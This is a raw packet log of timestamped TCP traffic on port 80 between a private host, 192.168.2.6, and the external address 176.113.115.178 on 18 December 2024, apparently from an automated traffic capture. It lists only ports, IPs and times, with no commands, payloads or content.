Dec 18, 2024 13:49:45.967758894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.968030930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.968704939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.968926907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.968969107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.968969107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.969794989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.970149040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.970854998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.970976114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.971023083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.971023083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.971621990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.971870899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.972177029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.972702980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.972944021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.973526955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.973689079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.973926067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.974699020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.974915028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.974957943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.974957943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.975658894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.976078033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.976190090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.976671934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.976885080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.977335930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.977741957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.977937937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.978699923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.978720903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.978898048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.979134083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.979820967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.980071068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.980477095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.980782032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.981002092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.981717110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.981946945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.981986046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.981986046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.982812881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.983031034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.983339071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.983820915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.984030962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.984838009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.985052109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.985090971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.985091925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.985829115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.986051083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.986807108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.986829996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.986980915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.987340927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.987814903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.988055944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.988168955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.988878965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.989144087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.989192009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.989835024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.990015984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.990070105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.990803957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.991063118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.991148949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.991750956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.992023945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.992294073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.992799044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.992966890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.993076086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.993839979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.994020939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.994158030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.994811058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.995040894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.995081902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.995824099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.996083021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.996300936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.996822119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.997104883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.997174978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.997903109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.998039961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.998104095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.998826027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.999157906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.999231100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.999855995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.040644884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.139190912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.139491081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.139621019 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.139844894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.140244961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.140324116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.140750885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.141118050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.141355038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.141765118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.142220020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.142384052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.142673969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.144049883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.144064903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.144133091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.144686937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.144929886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.145046949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.145299911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.145598888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.145880938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.146126032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.146543026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.146966934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.147089005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.147602081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.147707939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.149200916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.149219036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.149245024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.149302006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.149374008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.150094032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.150305986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.150331020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.151686907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.151829958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.152035952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.152189016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.152288914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.152322054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.153151035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.153330088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.153460979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.154247999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.154406071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.154581070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.155162096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.155334949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.155354023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.156131983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.156375885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.156511068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.157203913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.157464027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.157661915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.158118963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.158186913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.158349991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.159260035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.159522057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.159673929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.160351992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.160490990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.160512924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.161149979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.161339998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.161425114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.162256002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.162508965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.162616014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.163192987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.163305044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.163487911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.164325953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.164551973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.164561987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.165553093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.165566921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.165648937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.166285992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.166635036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.166716099 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.167223930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.167355061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.167592049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.168287992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.168586969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.168709040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.169229984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.169420004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.169444084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.170295000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.170578003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.170762062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.171353102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.171544075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.171857119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.172199965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.172282934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.172482014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.173312902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.173456907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.173521042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.174220085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.174447060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.174453974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.175303936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.175623894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.175683975 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.176301956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.176399946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.176637888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.177371979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.177442074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.177664042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.178360939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.178603888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.178627968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.179390907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.179783106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.180452108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.180454969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.180586100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.180623055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.181389093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.181457043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.181670904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.182284117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.182365894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.182550907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.183438063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.183490038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.183577061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.184530020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.184814930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.184958935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.185399055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.185487032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.185619116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.186347008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.186475039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.186667919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.187443018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.187731981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.187732935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.188410044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.188595057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.188704014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.189371109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.189443111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.189635038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.190450907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.190699100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.190789938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.191669941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.191746950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.191800117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.331569910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.331792116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.332156897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.332205057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.332572937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.333019018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.333107948 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.333420038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.333676100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.334028006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.334289074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.335179090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.335258007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.335408926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.335606098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.336277962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.336486101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.336548090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.337213993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.337446928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.337487936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.337980986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.338414907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.339148998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.339191914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.339344978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.339432001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.340059042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.340291023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.341048002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.341069937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.341250896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.341417074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.342041016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.342298985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.342624903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.343043089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.343261957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.343494892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.344127893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.344342947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.344453096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.345184088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.345312119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.345381021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.346082926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.346312046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.346430063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.347254038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.347418070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.347903967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.348120928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.348370075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.348412991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.349322081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.349545002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.350105047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.350256920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.350342035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.350925922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.351349115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.351423025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.351473093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.352142096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.352425098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.352623940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.353172064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.353543997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.353702068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.354137897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.354373932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.354545116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.364237070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.364466906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.365041971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.367821932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.368086100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.368099928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.368242025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.368907928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.368920088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.369045973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.369899988 CET	80	49822	176.113.115.178	192.168.2.6
